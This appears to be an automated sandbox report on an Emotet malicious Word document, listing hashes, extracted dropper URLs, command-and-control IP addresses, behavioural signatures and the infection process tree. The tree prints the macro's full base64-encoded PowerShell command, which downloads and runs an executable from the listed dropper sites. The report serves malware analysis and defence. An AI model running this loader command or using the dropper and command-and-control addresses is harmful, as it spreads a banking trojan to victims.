Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    58s
  • max time network
    138s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    27/08/2020, 08:31

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e2_5b0aab01fd399efb5be705aba6b4137d232ba1c2d4d50a6b0b8bc55501ad2a5c_2020-08-27__083028._doc.doc
  • Size 214KB
  • Sample200827-c46y6tbpsa
  • SHA256 5b0aab01fd399efb5be705aba6b4137d232ba1c2d4d50a6b0b8bc55501ad2a5c
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://speedypush.com/wp-content/wLd1aX/
  • exe.dropper

    http://ain.ummahhost.com/wp-includes/WxONU/
  • exe.dropper

    https://samairafashion.com/t1l6y9b/H/
  • exe.dropper

    http://dwebcreativos.com/cgi-bin/7/
  • exe.dropper

    http://tiendapablus.net/cgi-bin/Z/
  • exe.dropper

    https://tutyusa.com/wp-admin/fU8810j/
  • exe.dropper

    http://opurno.com/wp-admin/6uGPi/

Extracted

Family

  • emotet

C2

  • 173.81.218.65:80

  • 45.55.36.51:443

  • 91.83.93.99:7080

  • 45.55.219.163:443

  • 169.239.182.217:8080

  • 24.43.99.75:80

  • 78.24.219.147:8080

  • 95.179.229.244:8080

  • 107.5.122.110:80

  • 47.144.21.12:443

  • 204.197.146.48:80

  • 139.99.158.11:443

  • 190.160.53.126:80

  • 74.120.55.163:80

  • 74.109.108.202:80

  • 47.146.117.214:80

  • 104.236.246.93:8080

  • 174.137.65.18:80

  • 41.60.200.34:80

  • 209.141.54.221:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_5b0aab01fd399efb5be705aba6b4137d232ba1c2d4d50a6b0b8bc55501ad2a5c_2020-08-27__083028._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1340
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABZAF8AcwAzADIAYQBhAD0AKAAoACcASgAnACsAJwBiAHEAaAAnACkAKwAnADEAJwArACcAaABhACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUATgBWADoAVABlAE0AUABcAHcAbwBSAGQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAEUAYwBUAE8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwB1AHIAaQB0AGAAWQBgAHAAYABSAE8AdABPAEMATwBsACIAIAA9ACAAKAAnAHQAbAAnACsAKAAnAHMAMQAyACcAKwAnACwAJwApACsAKAAnACAAJwArACcAdABsAHMAMQAxACcAKwAnACwAJwApACsAJwAgAHQAJwArACcAbAAnACsAJwBzACcAKQA7ACQAWQBnAG8ANgA1AGQAYQAgAD0AIAAoACgAJwBUACcAKwAnAHYAcQAxACcAKQArACgAJwAwADEAMwAnACsAJwBfAGUAJwApACkAOwAkAEgAbgA5AF8ANwAwAHQAPQAoACgAJwBUACcAKwAnAHEAegBfAF8AJwApACsAJwBwAF8AJwApADsAJABMAGEAbAByAGQAbwB6AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB7ADAAJwArACcAfQB3AG8AcgAnACsAJwBkAHsAMAB9ACcAKwAoACcAMgAnACsAJwAwADEAOQAnACkAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAIABbAEMAaABhAHIAXQA5ADIAKQArACQAWQBnAG8ANgA1AGQAYQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAQwBjADAAcgB2ADIAZgA9ACgAJwBDACcAKwAoACcAaQB4AGsAaQBoACcAKwAnAGgAJwApACkAOwAkAEEAdABtADgAMQBqAGgAPQAmACgAJwBuAGUAJwArACcAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4ARQB0AC4AVwBlAGIAYwBsAGkARQBOAFQAOwAkAEsANAB0AGoAdABsADUAPQAoACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcABzADoALwAvACcAKwAnAHMAcABlAGUAJwArACcAZAB5AHAAdQAnACkAKwAnAHMAJwArACcAaAAnACsAKAAnAC4AJwArACcAYwBvAG0AJwApACsAJwAvAHcAJwArACcAcAAtACcAKwAoACcAYwBvAG4AdAAnACsAJwBlACcAKQArACgAJwBuACcAKwAnAHQALwB3AEwAJwArACcAZAAxACcAKQArACgAJwBhAFgAJwArACcALwAnACsAJwAqAGgAdAB0AHAAOgAnACkAKwAoACcALwAvAGEAJwArACcAaQBuAC4AdQBtAG0AYQBoAGgAbwAnACsAJwBzACcAKwAnAHQALgBjAG8AJwApACsAKAAnAG0ALwB3AHAAJwArACcALQBpACcAKwAnAG4AYwBsAHUAZABlAHMAJwApACsAJwAvACcAKwAoACcAVwAnACsAJwB4AE8AJwApACsAKAAnAE4AJwArACcAVQAnACsAJwAvACoAaAAnACsAJwB0AHQAcABzADoALwAnACsAJwAvAHMAYQBtACcAKQArACgAJwBhAGkAcgBhAGYAYQAnACsAJwBzAGgAJwArACcAaQBvAG4AJwApACsAKAAnAC4AYwAnACsAJwBvAG0ALwAnACkAKwAnAHQAMQAnACsAKAAnAGwANgB5ACcAKwAnADkAJwApACsAJwBiAC8AJwArACgAJwBIAC8AJwArACcAKgBoACcAKQArACgAJwB0AHQAcAA6ACcAKwAnAC8AJwArACcALwBkAHcAZQBiACcAKQArACcAYwByACcAKwAoACcAZQBhACcAKwAnAHQAJwApACsAJwBpACcAKwAoACcAdgBvAHMALgAnACsAJwBjAG8AbQAnACsAJwAvAGMAZwBpACcAKQArACcALQAnACsAJwBiAGkAJwArACgAJwBuAC8AJwArACcANwAnACkAKwAoACcALwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoALwAnACsAJwAvAHQAaQBlACcAKQArACgAJwBuAGQAYQBwACcAKwAnAGEAJwArACcAYgBsAHUAcwAuAG4AZQAnACsAJwB0AC8AYwBnAGkAJwApACsAKAAnAC0AYgAnACsAJwBpAG4ALwAnACkAKwAoACcAWgAnACsAJwAvACoAJwApACsAJwBoAHQAJwArACgAJwB0AHAAcwAnACsAJwA6AC8ALwB0AHUAJwArACcAdAB5AHUAcwBhACcAKQArACgAJwAuAGMAbwBtAC8AJwArACcAdwAnACsAJwBwAC0AYQAnACkAKwAoACcAZAAnACsAJwBtAGkAbgAnACkAKwAnAC8AZgAnACsAKAAnAFUAOAA4ADEAMABqAC8AKgAnACsAJwBoACcAKwAnAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8ALwBvAHAAdQByACcAKQArACgAJwBuAG8AJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB3AHAALQBhAGQAJwArACcAbQBpAG4ALwAnACkAKwAnADYAdQAnACsAJwBHAFAAJwArACcAaQAvACcAKQAuACIAUwBgAFAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABSAHQAMQB5ADcAcABmAD0AKAAnAFIAJwArACgAJwA2ACcAKwAnAHEAdgBlADMAdgAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAdQBiAHoAcQBoADMAIABpAG4AIAAkAEsANAB0AGoAdABsADUAKQB7AHQAcgB5AHsAJABBAHQAbQA4ADEAagBoAC4AIgBkAG8AdwBuAGwAbwBhAGQAYABGAEkAYABsAGUAIgAoACQAQgB1AGIAegBxAGgAMwAsACAAJABMAGEAbAByAGQAbwB6ACkAOwAkAFMAcQB4ADEAYgB4AHgAPQAoACcARgBuACcAKwAoACcANwAnACsAJwB5AGwAagB4ACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEwAYQBsAHIAZABvAHoAKQAuACIATABlAG4ARwBgAFQAaAAiACAALQBnAGUAIAAzADEAMAAyADIAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAoACQATABhAGwAcgBkAG8AegApADsAJABFAG0AcgB6AG0AeAB6AD0AKAAoACcATQA1ACcAKwAnADIAJwApACsAKAAnAGwAdgAnACsAJwBwACcAKQArACcAbQAnACkAOwBiAHIAZQBhAGsAOwAkAFAAdQAzAHYAcwByAGIAPQAoACgAJwBFAHAAdAAnACsAJwB0AHMAZwAnACkAKwAnAHAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAG0AOQBwAGUAbQBvAD0AKAAoACcAWQA0AHUANQAnACsAJwA4ACcAKQArACcAagAnACsAJwB5ACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1100
    • C:\Users\Admin\AppData\Local\Temp\word\2019\Tvq1013_e.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\Tvq1013_e.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1776
      • C:\Windows\SysWOW64\comrepl\ntprint.exe
        "C:\Windows\SysWOW64\comrepl\ntprint.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1648

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1100-10-0x000007FEF14F0000-0x000007FEF1EDC000-memory.dmp
        Download

        memory/1100-16-0x000000001C2B0000-0x000000001C2B1000-memory.dmp
        Download

        memory/1100-11-0x0000000001F40000-0x0000000001F41000-memory.dmp
        Download

        memory/1100-12-0x000000001AB40000-0x000000001AB41000-memory.dmp
        Download

        memory/1100-13-0x00000000022D0000-0x00000000022D1000-memory.dmp
        Download

        memory/1100-14-0x0000000001EA0000-0x0000000001EA1000-memory.dmp
        Download

        memory/1100-15-0x000000001AA30000-0x000000001AA31000-memory.dmp
        Download

        memory/1340-2-0x00000000088D0000-0x00000000088D4000-memory.dmp
        Download

        memory/1340-9-0x0000000006CC0000-0x0000000006EC0000-memory.dmp
        Download

        memory/1340-8-0x0000000006CC0000-0x0000000006EC0000-memory.dmp
        Download

        memory/1340-6-0x000000000A930000-0x000000000A934000-memory.dmp
        Download

        memory/1776-19-0x0000000000240000-0x000000000024C000-memory.dmp
        Download

        memory/1916-24-0x000007FEF2320000-0x000007FEF259A000-memory.dmp
        Download